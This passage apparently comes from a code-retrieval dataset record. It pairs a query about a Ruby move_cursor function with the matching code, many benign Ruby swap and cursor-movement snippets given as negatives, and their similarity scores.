word[0], word[-1] = word[-1], word[0] }\n words_array.join(' ')\nend", "def swap_letters(word)\n\n\tword[0], word[-1] = word[-1], word[0]\n\tword\n\t\nend", "def swap(string)\n string_arr = string.split.map do |word|\n first_letter = word[0]\n word = word.gsub(word[0], word[-1])\n word[-1] = first_letter\n word\n end\n string_arr.join(' ')\nend", "def swap_adj_chr times\n\t s = String.new(self)\n\t\tlen = s.length\n\t\t\n\t\ti_a = rand(len - 1)\n\t\twhile i_a >= len or i_a < 0 do i_a = rand(len - 1) end\n\n\t\ti_b = i_a + 1\n\n\t\tswap_a = s[i_a].chr\n\t\tswap_b = s[i_b].chr\n\n\t\ts[i_a] = swap_b\n\t\ts[i_b] = swap_a\n\t\treturn s\n\tend", "def swap(index1,index2)\n if index1==index2\n return\n end\n # swap the entries in the list\n @content[index1],@content[index2] = @content[index2],@content[index1]\n # fix the indices map\n @indices[@content[index1]] = index1\n @indices[@content[index2]] = index2\n end", "def swapper(arr, idx_1, idx_2)\n temp = arr[idx_1]\n arr[idx_1] = arr[idx_2] # as soon as I execute this line, it will be [\"c\", \"b\", \"c\", \"d\"]\n arr[idx_2] = temp # then, I excute this line, then it will be [\"c\", \"b\", \"c\", \"d\"], which is wrong!\n arr\n\nend", "def swap(string)\n results = []\n\n string.split.each do |word|\n results << word.chars\n end\n\n results.each do |word|\n word[0], word[-1] = word[-1], word[0]\n end\n\n results.map(&:join).join(\" \")\nend", "def swapper(arr, idx_1, idx_2)\n \n arr[idx_1], arr[idx_2] = arr[idx_2], arr[idx_1]\n arr\nend", "def swapper(arr, idx_1, idx_2)\n \n arr[idx_1], arr[idx_2] = arr[idx_2], arr[idx_1]\n arr\nend", "def swap(str)\n words = str.split\n words.each do |word|\n temp = word[-1]\n word[-1] = word[0]\n word[0] = temp\n end\n \n words.join(' ')\nend", "def swapper(arr, idx_1, idx_2)\n arr[idx_1], arr[idx_2] = arr[idx_2], arr[idx_1]\n arr\nend", "def swap(piece_pos, space_pos)\r\n puts \"#{$board[piece_pos]}: from pos #{piece_pos} to #{space_pos}\" if $debug == 1\r\n\r\n $board[space_pos] = $board[piece_pos]\r\n $board[piece_pos] = \"_\"\r\n puts $board.join(\" \")\r\n\r\nend", "def swap_word(word)\n temp = word[0]\n word[0] = word[-1]\n word[-1] = temp \n word\nend", "def swap(str)\n word_list = str.split\n word_list.each do |word|\n word[0], word[-1] = word[-1], word[0]\n end\n word_list.join(' ')\nend", "def swap_word(word)\n word[0], word[-1] = word[-1], word[0]\n word\nend", "def swapper(arr, idx1, idx2)\n arr[idx1], arr[idx2] = arr[idx2], arr[idx1]\n arr\nend", "def swap(str)\n words = str.split(' ')\n words.each do |w|\n first = w[0]\n last = w[-1]\n w[0] = last\n w[-1] = first\n end\n words.join(' ')\nend", "def swap(name)\r\n\tname.downcase.split.reverse\r\nend", "def swap(string)\n result = string.split(' ').map do |substring|\n str = substring.split('')\n first = str[0]\n str[0] = str[substring.length - 1]\n str[substring.length - 1] = first\n str.join\n end\n result.join(' ')\nend", "def string_reverse (my_string, s_index, e_index)\n i = s_index\n j = e_index\n\n while i < j\n temp = my_string[i]\n my_string[i] = my_string[j]\n my_string[j] = temp\n\n i += 1\n j -= 1\n end\n return\nend", "def swap_word(word)\n first_letter = word[0]\n word[0] = word[-1]\n word[-1] = first_letter\n word\nend", "def swap_elements(array)\n swap_2 = array[1]\n swap_3 = array[2]\n ans = array\n \n ans[2] = swap_2\n ans[1] = swap_3\n \n ans\nend", "def string_reverse(my_string, start_index, end_index)\n i = start_index\n j = end_index\n while i < j\n #flipflop characters using holding variable as a place to put one character while the other goes in its place.\n holding = my_string[i]\n my_string[i] = my_string[j]\n my_string[j] = holding\n\n #move up and move down the string.\n i += 1\n j -= 1\n end\n return my_string\nend", "def reverse!(string, i, j) # \" I can do this! \" \n while i < j \n string[i], string[j] = string[j], string[i]\n\n # # same as above\n # temp = string[i]\n # string[i] = string[j] \n # string[j] = temp\n \n i += 1 \n j -= 1\n end \n\n return string # \" !siht od nac I \"\nend", "def swap_ii(str)\n str.swapcase!\n regex = /\\d[a-zA-Z]+\\d/\n idx = 0\n while idx < str.size - 1\n start_idx = str[idx..-1] =~ (regex)\n if start_idx\n end_idx = start_idx + str[start_idx..-1].match(regex).to_s.size - 1\n str[start_idx], str[end_idx] = str[end_idx], str[start_idx]\n idx = end_idx\n end\n idx += 1\n end\n str\nend", "def swap_elements_from_to(array, index, destination_index)\n array[index], array[destination_index] = array[destination_index], array[index]\n array\nend", "def swap(index1, index2)\n #YOUR WORK HERE\n end", "def swap(sentence)\n sentence = sentence.split\n # split on \" \"\n # grab first letter, move last to first, move grabbed to last\n sentence.each do |word|\n first_char = word[0]\n word[0] = word[-1]\n word[-1] = first_char\n end\n\n sentence.join(\" \")\nend", "def swap_elements_from_to(array, index, destination_index)\n array[index], array[destination_index] = array[destination_index], array[index]\n array\nend", "def word_swap wrd\n return wrd if wrd.length < 2\n wrd[-1] + wrd[1..-2] + wrd[0]\nend", "def swap(string)\n if string.split.size > 1\n array = string.split.each do |word|\n word[0], word[-1] = word[-1], word[0]\n end\n array.join(' ')\n elsif string.length <= 1\n string\n else\n first = string[0]\n last = string[-1]\n string[0] = last\n string[-1] = first\n string\n end\nend", "def swap(a,start1,start2,d)\n for i in 0...d\n temp = a[start1+i]\n a[start1+i] = a[start2+i]\n a[start2+i] = temp\n end\nend", "def swap_elements(array, index = 1, destination_index = 2)\n array[index], array[destination_index] = array[destination_index], array[index]\n\n array\nend", "def work_on_strings(string1, string2)\n [swap_letters(string1, string2), swap_letters(string2, string1)].join\nend", "def swap(string)\n words = string.split\n words.each do |word|\n first_char = word[0]\n word[0] = word[-1]\n word[-1] = first_char\n end\n words.join(' ')\nend", "def swap_elements_from_to(array, i_a, i_b)\n array[i_a], array[i_b] = array[i_b], array[i_a]\n return array\nend", "def take(stringTest, selection)\r\n \r\n\t# Split\r\n\tcoinArray = stringTest.split(//)\r\n\ttakenStr = coinArray[selection].to_s + coinArray[selection+1].to_s\r\n\tputs \"Index: #{selection} You Took: #{takenStr} \" \r\n\r\n\t# Replace taken coins with '-' symbol\r\n\tcoinArray[selection] = \"-\"\r\n\tcoinArray[selection+1] = \"-\"\r\n\r\n\t# Join\r\n\tcoinStr = \"\"\r\n\tcoinStr = coinArray.join\r\n\t#puts \"coinStr: #{coinStr}\"\r\n\r\n\treturn coinStr, takenStr\r\nend", "def swap (array, first, second)\n original_first = array[first]\n array[first] = array[second]\n array[second] = original_first\nend", "def reverse_in_place (string_to_reverse)\n\n\tcount_down = string_to_reverse.length-1\n\tfor l in (0...string_to_reverse.length/2)\n\t\ttemp_var = string_to_reverse[l]\n\t\tstring_to_reverse[l] = string_to_reverse[count_down]\n\t\tstring_to_reverse[count_down] = temp_var\n\t\tputs string_to_reverse\n\t\tcount_down -= 1\n\n\tend\n\n\t string_to_reverse\n\nend", "def swap_pairs(array)\nend", "def name_swap(first_name, last_name)\r\n\tcode_name = []\r\n\tcode_name.push(first_name, last_name)\r\n\tcode_name.reverse!.join(' ')\r\nend", "def reverse_and_mirror(s1,s2)\n (s2.reverse + \"@@@\" + s1.reverse + s1).swapcase\nend", "def name_swapper(full_name)\n full_name = full_name.downcase\n vowel_array = ['a','e','i','o','u']\n consenant_array = \"bcdfghjklmnpqrstvwxyz\".split('')\n name_array = full_name.split(\" \")\n reversed_name= \"#{name_array[1]} #{name_array[0]}\"\n secret_name = reversed_name.split('').map! do |letter|\n if vowel_array.include?(letter)\n vowel_array[vowel_array.index(letter)+1]\n elsif consenant_array.include?(letter)\n consenant_array[consenant_array.index(letter)+1]\n elsif letter == \" \"\n \" \"\n end\n\n end\n puts \"Your name USED to be #{full_name.upcase}...but now your name is #{secret_name.join.upcase}!\"\n secret_name.join.upcase\nend", "def swap(arr, idx1, idx2)\n tmp = arr[idx1]\n arr[idx1] = arr[idx2]\n arr[idx2] = tmp\n end", "def swap_elements_from_to(array, index, destination_index)\n array[index], array[destination_index] = array[destination_index], array[index]\n return array\nend", "def swap(arr, idx1, idx2)\n\n tmp = arr[idx1]\n\n arr[idx1] = arr[idx2]\n arr[idx2] = tmp\n end", "def swap(array, x, y)\n temp_1 = array[x]\n temp_2 = array[y]\n array[y] = temp_1\n array[x] = temp_2\n return array\nend", "def swap_elements(arry)\n #oldx = x x = y y = oldx\n\n val1 = arry[2]\n val2 = arry[1]\n\n arry[1] = val1\n arry[2] = val2\n\n arry\nend", "def swap(index1, index2, list)\n temp = list[index1]\n list[index1] = list[index2]\n list[index2] = temp\nend", "def swap(index_1, index_2)\n temp = @store[index_1]\n @store[index_1] = @store[index_2]\n @store[index_2] = temp\n end", "def swap(index_1, index_2)\n temp = @store[index_1]\n @store[index_1] = @store[index_2]\n @store[index_2] = temp\n end", "def swap(index_1, index_2)\n temp = @store[index_1]\n @store[index_1] = @store[index_2]\n @store[index_2] = temp\n end", "def swap(index_1, index_2)\n temp = @store[index_1]\n @store[index_1] = @store[index_2]\n @store[index_2] = temp\n end" ]
[ "0.6656808", "0.6553026", "0.65372497", "0.6443365", "0.6402753", "0.6357849", "0.6326455", "0.6326455", "0.6267701", "0.62531507", "0.6244827", "0.62067515", "0.6176843", "0.61690384", "0.61158025", "0.608424", "0.6074209", "0.6063754", "0.6047188", "0.6014461", "0.5995177", "0.5987417", "0.5983545", "0.5983031", "0.59780246", "0.5952844", "0.59362", "0.59270203", "0.5926141", "0.59215546", "0.59184957", "0.5915613", "0.59000957", "0.5899877", "0.58877295", "0.5887246", "0.5874275", "0.5867578", "0.5861225", "0.5861225", "0.5856113", "0.581553", "0.58079594", "0.5803191", "0.5795568", "0.5788923", "0.5786525", "0.5774681", "0.576144", "0.5754733", "0.5754299", "0.5753718", "0.57450396", "0.5743347", "0.5741834", "0.5741834", "0.5736315", "0.5724489", "0.57241917", "0.5718677", "0.5717231", "0.571518", "0.5714229", "0.57071906", "0.5701029", "0.5694598", "0.56395465", "0.56323117", "0.5626074", "0.5617018", "0.5614388", "0.561411", "0.56138533", "0.5591039", "0.5588313", "0.55847526", "0.557541", "0.55699855", "0.5567565", "0.5563893", "0.55606693", "0.5557528", "0.55351925", "0.5534714", "0.5533532", "0.5520464", "0.552011", "0.5511104", "0.55096924", "0.55045724", "0.55036116", "0.54985255", "0.549426", "0.54860294", "0.54855466", "0.5484722", "0.5483283", "0.5483283", "0.5483283", "0.5483283" ]
0.8685979
0
move_cursor function finds the cursor within the arrows string and then swaps the cursor with the chosen input determined by the user
def move_cursor(index) cursor = $arrows.index("^") $arrows[index], $arrows[cursor] = $arrows[cursor], $arrows[index] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def move_cursor(input)\n\n if input == 'w'\n dx,dy = [-1,0]\n elsif input == 's'\n dx,dy = [1,0]\n elsif input == 'a'\n dx,dy = [0,-1]\n elsif input == 'd'\n dx,dy = [0,1]\n elsif input == 'q'\n exit\n end\n\n\n x, y = [cursor[0] + dx, cursor[1] + dy]\n #returns cursor position, doesn't return a new cursor UNLESS x, and y are between 0 and 7, valid board spaces\n self.cursor = ([x, y].all? { |i| i.between?(0, 7) } ? [x, y] : self.cursor)\n end", "def move_caret_to_mouse\n # Test character by character\n 1.upto(self.text.length) do |i|\n if @window.mouse_x < x + FONT.text_width(text[0...i])\n self.caret_pos = self.selection_start = i - 1;\n return\n end\n end\n # Default case: user must have clicked the right edge\n self.caret_pos = self.selection_start = self.text.length\n end", "def cursor_dn\n @cursor_movement = :down\n @old_cursor = @cursor\n move_to(pos + 1)\nend", "def cursor_to_input_line\n setpos(input_line, 0)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_Cursor(value)\n set_input(\"Cursor\", value)\n end", "def set_cursor_position locator, position\r\n command 'setCursorPosition', locator, position\r\n end", "def restore_cursor_position() set_cursor_position(@event[\"line\"], @event[\"column\"]) end", "def handle_input\n # last arrows allows the arrow to return to its last position\n last_arrows = \"^ \"\n not_chosen = true\n while not_chosen\n # display \n puts $coins\n puts $arrows\n puts \"Enter the index you want to choose to swap with the dashes(You cannot choose the last index or the dashes): \"\n # input and check validity \n index = gets.chomp.to_i\n if $coins[index] != \"-\" && $coins[index+1] != \"-\" && index<11 && index >>0 \n # call movecursor using the index \n move_cursor(index)\n puts $coins\n puts $arrows\n # confirm the answer \n puts \"Type Y or y to confirm your move, otherwise hit any other key to reset your action\"\n key = gets.chomp \n # if confirmed, change the position of the arrows, swap, and end the loop\n if key==\"Y\" || key==\"y\"\n last_arrows = $arrows\n swap(index)\n not_chosen= false\n # else reset the arrows, the user didn't choose the answer they want \n else\n $arrows = last_arrows \n end\n else\n puts \"You cannot choose the last index or a dash\"\n end\n \n \n end\nend", "def set_cursor(position)\r\n print locate((@disks*2+2)*@column+4, @disks+4-position)\r\n end", "def move_caret(mouse_x)\n # Test character by character\n 1.upto(self.text.length) do |i|\n if mouse_x < x + @font.text_width(text[0...i]) then\n self.caret_pos = self.selection_start = i - 1;\n return\n end\n end\n # Default case: user must have clicked the right edge\n self.caret_pos = self.selection_start = self.text.length\n end", "def move_caret(mouse_x)\n len = text.length\n # Default case: user must have clicked the right edge\n self.caret_pos = self.selection_start = len\n\n # Test character by character\n 1.upto(len) do |index|\n next unless mouse_x < @point.x + @font.text_width(text[0...index])\n\n self.caret_pos = self.selection_start = index - 1\n break\n end\n end", "def move_caret(mouse_x)\n # Test character by character\n 1.upto(self.text.height) do |i|\n if mouse_x < x + @font.text_width(text[0...i]) then\n self.caret_pos = self.selection_start = i - 1;\n return\n end\n end\n # Default case: user must have clicked the right edge\n # self.caret_pos = self.selection_start = self.text.height\n end", "def active_cursor_move\n @cursor.range = draw_ranges(@active_battler, 3)\n @windows[Menu_Actor].deactivate\n @windows[Menu_Actor].hide\n @windows[Win_Help].hide\n @drawn = false\n @cursor.mode = TBS_Cursor::Move\n end", "def move(board, converted_input, user_marker = \"X\")\n board[converted_input] = user_marker\nend", "def move\n @cursor.x = wrap(@cursor.x + @delta.x, @code.width)\n @cursor.y = wrap(@cursor.y + @delta.y, @code.height)\n end", "def ask_user_to_pick_move(positions)\n # Ask User for next position\n # Check for acceptable input\n acceptable_input = %w( a b c d e f g h i)\n input = \" \"\n while positions[input.to_sym] != \" \" and acceptable_input.include?(input) and (positions[input.to_sym] != \"x\" or positions[input.to_sym] != \"o\") or positions[input.to_sym] == nil\n input, user_wants_to_quit_bool = raw_input \"Choose move (a - i)\"\n end\n\n input = input.to_sym\n\n return input, user_wants_to_quit_bool\nend", "def _rl_move_cursor_relative(new, data, start=0)\r\n woff = w_offset(@_rl_last_v_pos, @wrap_offset)\r\n cpos = @_rl_last_c_pos\r\n\r\n if !@rl_byte_oriented\r\n dpos = _rl_col_width(data, start, start+new)\r\n\r\n # Use NEW when comparing against the last invisible character in the\r\n # prompt string, since they're both buffer indices and DPOS is a desired\r\n # display position.\r\n if (new > @prompt_last_invisible) # XXX - don't use woff here\r\n dpos -= woff\r\n # Since this will be assigned to _rl_last_c_pos at the end (more\r\n # precisely, _rl_last_c_pos == dpos when this function returns),\r\n # let the caller know.\r\n @cpos_adjusted = true\r\n end\r\n else\r\n dpos = new\r\n end\r\n # If we don't have to do anything, then return.\r\n if (cpos == dpos)\r\n return\r\n end\r\n\r\n if @hConsoleHandle\r\n csbi = 0.chr * 24\r\n @GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi)\r\n x,y = csbi[4,4].unpack('SS')\r\n x = dpos\r\n @SetConsoleCursorPosition.Call(@hConsoleHandle,y*65536+x)\r\n @_rl_last_c_pos = dpos\r\n return\r\n end\r\n\r\n # It may be faster to output a CR, and then move forwards instead\r\n # of moving backwards.\r\n # i == current physical cursor position.\r\n if !@rl_byte_oriented\r\n i = @_rl_last_c_pos\r\n else\r\n i = @_rl_last_c_pos - woff\r\n end\r\n\r\n if (dpos == 0 || cr_faster(dpos, @_rl_last_c_pos) ||\r\n (@_rl_term_autowrap && i == @_rl_screenwidth))\r\n @rl_outstream.write(@_rl_term_cr)\r\n cpos = @_rl_last_c_pos = 0\r\n end\r\n\r\n if (cpos < dpos)\r\n # Move the cursor forward. We do it by printing the command\r\n # to move the cursor forward if there is one, else print that\r\n # portion of the output buffer again. Which is cheaper?\r\n\r\n # The above comment is left here for posterity. It is faster\r\n # to print one character (non-control) than to print a control\r\n # sequence telling the terminal to move forward one character.\r\n # That kind of control is for people who don't know what the\r\n # data is underneath the cursor.\r\n\r\n # However, we need a handle on where the current display position is\r\n # in the buffer for the immediately preceding comment to be true.\r\n # In multibyte locales, we don't currently have that info available.\r\n # Without it, we don't know where the data we have to display begins\r\n # in the buffer and we have to go back to the beginning of the screen\r\n # line. In this case, we can use the terminal sequence to move forward\r\n # if it's available.\r\n if !@rl_byte_oriented\r\n if (@_rl_term_forward_char)\r\n @rl_outstream.write(@_rl_term_forward_char * (dpos-cpos))\r\n else\r\n @rl_outstream.write(@_rl_term_cr)\r\n @rl_outstream.write(data[start,new])\r\n end\r\n else\r\n @rl_outstream.write(data[start+cpos,new-cpos])\r\n end\r\n elsif (cpos > dpos)\r\n _rl_backspace(cpos - dpos)\r\n end\r\n @_rl_last_c_pos = dpos\r\n end", "def move_caret(mouse_x)\n # Test character by character\n 1.upto(self.text.length) do |i|\n if mouse_x < x + @font.text_width(text[0...i]) then\n self.caret_pos = self.selection_start = i - 1;\n return\n end\n end\n \n # Default case: user must have clicked the right edge\n self.caret_pos = self.selection_start = self.text.length\n end", "def get_move\n print \"enter a position in format 'x y' : \"\n input = gets.chomp.split.map(&:to_i)\n move_position(input)\n end", "def move_to(x, y); puts \"\\e[#{y};#{x}G\" end", "def make_move(board, display)\n new_pos = nil\n until new_pos\n display.render\n new_pos = display.cursor.get_input\n end\n new_pos\n end", "def cursor_move_to_beginning\n @cursor_position = 0\n self.reset_cursor_blinking\n end", "def text_cursor_position(text_input_handle)\n end", "def cursor(*options)\n options = combine_options(*options)\n\n apply_offset(options)\n @cursor_loc ||= {}\n @cursor_loc[:x] = options[:to][:left]\n @cursor_loc[:y] = options[:to][:top]\n\n options[:speed] ||= 1\n\n automatically \"mousemove #{@cursor_loc[:x]} #{@cursor_loc[:y]} #{options[:speed]}\"\n end", "def update_cursor\n cursor_rect.set((@index % 2) * DELTA_X, (@index / 2) * DELTA_Y)\n $game_system.se_play($data_system.cursor_se)\n end", "def change_cursor\n cursor = text_cursor\n yield cursor\n self.text_cursor = cursor\n end", "def cursor_at(row, col)\n \"\\e[#{row};#{col}H\"\nend", "def move_caret(mouse_x)\n 1.upto(text.length) do |i|\n if mouse_x < x + @font.text_width(text[0...i])\n self.caret_pos = self.selection_start = i - 1\n return\n end\n end\n self.caret_pos = self.selection_start = text.length\n end", "def move_if_necessary(x, y)\n return if textcursor.left == x && textcursor.top == y\n move_textcursor(x, y)\n end", "def cursor_home\n @curpos = 0\n @pcol = 0\n set_form_col 0\n end", "def input_move(db, cur_position)\r\n\tprint \"Enter a move for #{cur_player(db, cur_position)} in standard chess notation, or HELP for help: \"\r\n\tmove = gets.chomp.downcase\r\n\treturn move\r\nend", "def step_cursor()\r\n unless @@busy_cursors \r\n self.class.send(:get_cursors)\r\n end\r\n \r\n @cursor_index = (@cursor_index + 1) % 8\r\n UI.set_cursor(@@busy_cursors[@cursor_index]) if @mouse_in_viewport\r\n end", "def restore_cursor; puts \"\\e[u\" end", "def update_cursor_pos\n @cursor_timer = 0\n pos = @text.virtual_position\n if pos == 0\n @cursor.x = 1\n else\n @cursor.x = @sprite.bitmap.text_size(value[0...pos]).width\n end\n end", "def moveArrowInputRangeToRight(how,element, numberOfArrowMove)\n findElement(how,element).send_keys :tab\n sleep 1\n for i in 1..numberOfArrowMove\n findElement(how, element).send_keys :arrow_right\n sleep 1\n end\n end", "def update_position\n chr = Console.read_char\n\n offset = arrow_val(chr)\n if offset\n new_position = Coord.sum(position, offset)\n self.position = new_position if in_range?(new_position)\n end\n\n chr\n end", "def move(user_input, character = \"X\")\n @board[user_input] = character\n end", "def navigate(command)\n @cursor_position = [0,0]\n case command\n when '0'\n navigate_to_begining\n when '$'\n navigate_to_end\n when 'e'\n navigate_to_word_boundary\n when /^t(.)$/\n navigate_to_char(command)\n end\n @cursor_position\n end", "def mvtb_cursor(x,y)\n (p=$game_player).x = x; p.y = y\n end", "def cursor_move_to_end\n @cursor_position = @text.scan(/./m).size\n self.reset_cursor_blinking\n end", "def input_update_target\n cursor_down if Input.repeat?(Input::RIGHT) and @index == self.actor.index\n cursor_down if Input.repeat?(Input::DOWN) and @index == self.actor.index\n cursor_up if Input.repeat?(Input::LEFT) and @index == self.actor.index\n cursor_up if Input.repeat?(Input::UP) and @index == self.actor.index\n update_arrows if self.actor != nil\n end", "def cursor(*options)\n options = combine_options(*options)\n apply_offset(options)\n @cursor_loc ||= {}\n @cursor_loc[:x] = options[:to][:left]\n @cursor_loc[:y] = options[:to][:top]\n \n compatible_call :cursor, @cursor_loc\n end", "def initial_position_input(initial_position,new_position,color,*new_input)\n\t\tputs \"\"\n\t\tputs \"Choose the position of the piece you want to move:\"\n\t\tinitial_position = initial_position.upcase.gsub(/\\s+/,\"\")\n\t\tmove = case initial_position\n\t\twhen \"HELP\"\n\t\t\t:help\n\t\twhen \"SAVE\"\n\t\t\t:save\n\t\twhen \"EXIT\"\n\t\t\t:exit\n\t\twhen \"CASTLE\"\n\t\t\tcastle(color)\n\t\telse\n\t\t\tinitial_position = initial_position.split(\"\")\n\t\t\tinitial_position = [initial_position[0].to_sym,initial_position[1].to_i]\n\t\t\tpiece = @pieces.find { |current_piece| current_piece.position == initial_position }\n\t\t\tif piece != nil && piece.color == color && possible_moves(piece) != []\n\t\t\t\tmove = new_position_input(initial_position,new_position,color,piece,new_input[0])\n\t\t\telse\n\t\t\t\tmove = :invalid_move\n\t\t\tend\n\t\tend\n\t\tmove\n\tend", "def fixCursorPosition\n scrollbar_adj = if @scrollbar_placement == LEFT then 1 else 0 end\n ypos = self.SCREEN_YPOS(@current_item - @current_top)\n xpos = self.SCREEN_XPOS(0) + scrollbar_adj\n\n @input_window.wmove(ypos, xpos)\n @input_window.wrefresh\n end", "def map_key_to_move\n c = read_char\n step = @step\n step ||= 1\n case c\n when ' '\n puts 'SPACE'\n park\n when \"\\t\"\n puts 'TAB'\n :stop\n when \"\\r\"\n puts 'RETURN'\n :stop\n when \"\\n\"\n puts 'LINE FEED'\n :stop\n when \"\\e\"\n puts 'ESCAPE'\n :stop\n when \"\\e[A\", 'w'\n up step\n when \"\\e[B\", 's'\n down step\n when \"\\e[C\", 'd'\n right step\n when \"\\e[D\", 'a'\n left step\n when '+', 'r'\n forward step\n when '-', 'f'\n back step\n when 'q'\n gripper_on\n when 'e'\n gripper_off\n when ','\n gripper_close(5)\n when '.'\n gripper_open(5)\n when 'j'\n wrist_left\n when 'l'\n wrist_right\n when 'i'\n wrist_up\n when 'k'\n wrist_down\n when \"\\177\"\n log 'BACKSPACE', true\n :stop\n when \"\\004\"\n log 'DELETE', true\n :stop\n when \"\\e[3~\"\n log 'ALTERNATE DELETE', true\n :stop\n when \"\\u0003\"\n log 'CONTROL-C', true\n :stop\n when /^.$/\n log \"SINGLE CHAR HIT: #{c.inspect}\"\n :stop\n else\n log \"SOMETHING ELSE: #{c.inspect}\"\n :stop\n end\n end", "def mouse_move_at locator, coord_string\r\n command 'mouseMoveAt', locator, coord_string\r\n end", "def rmoveto(point={})\n set RGhost::Cursor.rmoveto(point)\n end", "def mouse_move locator\r\n command 'mouseMove', locator\r\n end", "def moveto(point={})\n set RGhost::Cursor.moveto(point)\n end", "def cursor_home\n @curpos = 0\n @pcol = 0\n set_col_offset 0\n end", "def set_cursor_position(x, y)\n if stdout && x && y\n coord = Coord.new(x, y)\n self.set_console_cursor_position(stdout, coord)\n end\n end", "def cursor_move_right_word\n chars = @text.scan(/./m)\n # skip all non-whitespaces first\n while @cursor_position < chars.size && chars[@cursor_position] != ' '\n @cursor_position += 1\n end\n # skip all whitespaces\n while @cursor_position < chars.size && chars[@cursor_position] == ' '\n @cursor_position += 1\n end\n self.reset_cursor_blinking\n end", "def move_text(from, to)\n\"#{from}->#{to}\"\nend", "def only_cursor_moved flag=true\n @cursor_movement = flag\nend", "def next_move\n puts \"What do you want to do next? Type any key to restart or type 'exit' to leave\"\n @choice = gets.strip\n end", "def get_move(possibles)\n begin\n ch = STDIN.getch\n exit(1) if ch == \"\\u0003\"\n move = ch.to_i - 1\n end until possibles.include? move\n move\n end", "def move_for_keypress(keypress); nil; end", "def cursor_bol\n # copy of C-a - start of line\n @repaint_required = true if @pcol > 0\n @pcol = 0\n @curpos = 0\n end", "def translate(point={})\n set RGhost::Cursor.translate(point)\n end", "def cursor_move_left\n @cursor_position -= 1 if self.cursor_can_move_left?\n self.reset_cursor_blinking\n end", "def cursor_forward\n $multiplier = 1 if $multiplier == 0\n if @curpos < @cols\n @curpos += $multiplier\n if @curpos > @cols\n @curpos = @cols\n end\n @repaint_required = true\n end\n $multiplier = 0\n end", "def move_to_start\n @cursor = 0\n end", "def move_to_start\n @cursor = 0\n end", "def cursor_move_right\n @cursor_position += 1 if self.cursor_can_move_right?\n self.reset_cursor_blinking\n end", "def move_cursor_to(new_y)\n self.y = new_y + bounds.absolute_bottom\n end", "def move_text(from, to)\n \"#{from}->#{to}\"\nend", "def make_move\n show_board(\"Let's put your #{@marker} on the board by\\ntyping the letter-number coordinate.\\n\\n\")\n the_move = gets.chomp\n if valid_move(the_move,@marker) then\n show_board(\"You picked #{the_move}. Great spot!\")\n cpu_move \n return\n else\n puts \"That's not a valid move. Please specify your desired position\"\n puts \"using the letter-number coordinate system, e.g. A1 or C2.\"\n make_move\n end\n \n end", "def store_cursor_position locator, variable_name\r\n command 'storeCursorPosition', locator, variable_name\r\n end", "def cursor_reposition!\n Vedeu.bind(:_cursor_reposition_) do |name, y, x|\n Vedeu.cursors.by_name(name).reposition(y, x)\n\n Vedeu.trigger(:_clear_, name)\n Vedeu.trigger(:_refresh_, name)\n Vedeu.trigger(:_refresh_cursor_, name)\n end\n end", "def mark_position\n \t@game_board.print_board\n\t\tprintf \"Make your move: \"\n\t\tinput = gets.chomp\n\t\tfrom = input[0..1]\n\t\tto = input[2..3]\n\n\t\tuntil input.length == 4 && @game_board.update_board(from, to, @color)\n\t\t\tputs \"#{input} is either not a valid input or unavailable. Please try again.\"\n\t\t\tprintf \"Make your move: \"\n\t\t\tinput = gets.chomp\n\t\t\tfrom = input[0..1]\n\t\t\tto = input[2..3]\n\t\tend\n end", "def move(board, input ,char=\"X\")\n board[input.to_i-1] = char\n display_board(board)\nend", "def cursor_origin!\n Vedeu.bind(:_cursor_origin_) do |name|\n Vedeu.cursors.by_name(name).move_origin\n end\n\n Vedeu.bind_alias(:_cursor_reset_, :_cursor_origin_)\n end", "def set_active_cursor \n if [email protected]?( @active_battler)\n @cursor.moveto( @active_battler)\n update_selected\n end\n end", "def do_move()\n\n loop do\n # prompt or retreive for initial position\n if @first_move\n initialPos = prompt_for_postion(\"[#{@name}] Initial position: \")\n else\n initialPos = @last_location\n end\n\n # prompt for new position\n newPos = prompt_for_postion(\"[#{@name}] New position: \")\n\n # complete action using positions\n action = @current_board.action(newPos, initialPos, @colour)\n\n # respond to action result\n case (action)\n when :E, :P\n @first_move = true\n @last_location = [0,0]\n return action\n when :A, :W\n @last_location = newPos\n @first_move = false\n return action\n end\n end\n end", "def get_move\n print \"#{@name}, what is your letter? \"\n move = gets.chomp\n move\n end", "def choose_marker_position(options)\r\n available_spaces = options.map { |space| @game.index_to_placeholder(space) }\r\n @output.puts \"Available Options: #{available_spaces}\"\r\n\r\n @game.placeholder_to_index(get_valid_input(available_spaces))\r\n end", "def get_move\n cols = %w(a b c d e f g h)\n rows = %w(8 7 6 5 4 3 2 1)\n\n from_pos, to_pos = nil, nil\n until from_pos && to_pos\n @display.draw\n if from_pos\n row, col = from_pos\n piece = @display.board[from_pos].class\n puts \"#{piece} at #{cols[col]}#{rows[row]} selected. Where to move to?\"\n to_pos = @display.get_keyboard_input\n else\n @display.reset_errors_notification\n puts \"#{@color.capitalize}'s move\"\n puts 'What piece do you want to move?'\n selection = @display.get_keyboard_input\n from_pos = selection if selection && valid_selection?(selection)\n end\n end\n [from_pos, to_pos]\n end", "def cursor_move_left_word\n chars = @text.scan(/./m)\n # skip all whitespaces first\n while @cursor_position > 0 && chars[@cursor_position - 1] == ' '\n @cursor_position -= 1\n end\n # skip all non-whitespaces\n while @cursor_position > 0 && chars[@cursor_position - 1] != ' '\n @cursor_position -= 1\n end\n self.reset_cursor_blinking\n end", "def cursor_y\n return 2\n end", "def arrowMove2(c,x,y)\n v = $demo_arrowInfo\n newB = (v.x2+5-c.canvasx(x).round)/10\n newB = 0 if newB < 0\n newB = 25 if newB > 25\n newC = (v.y+5-c.canvasy(y).round-5*v.width)/10\n newC = 0 if newC < 0\n newC = 20 if newC > 20\n if newB != v.b || newC != v.c\n c.move('box2', 10*(v.b-newB), 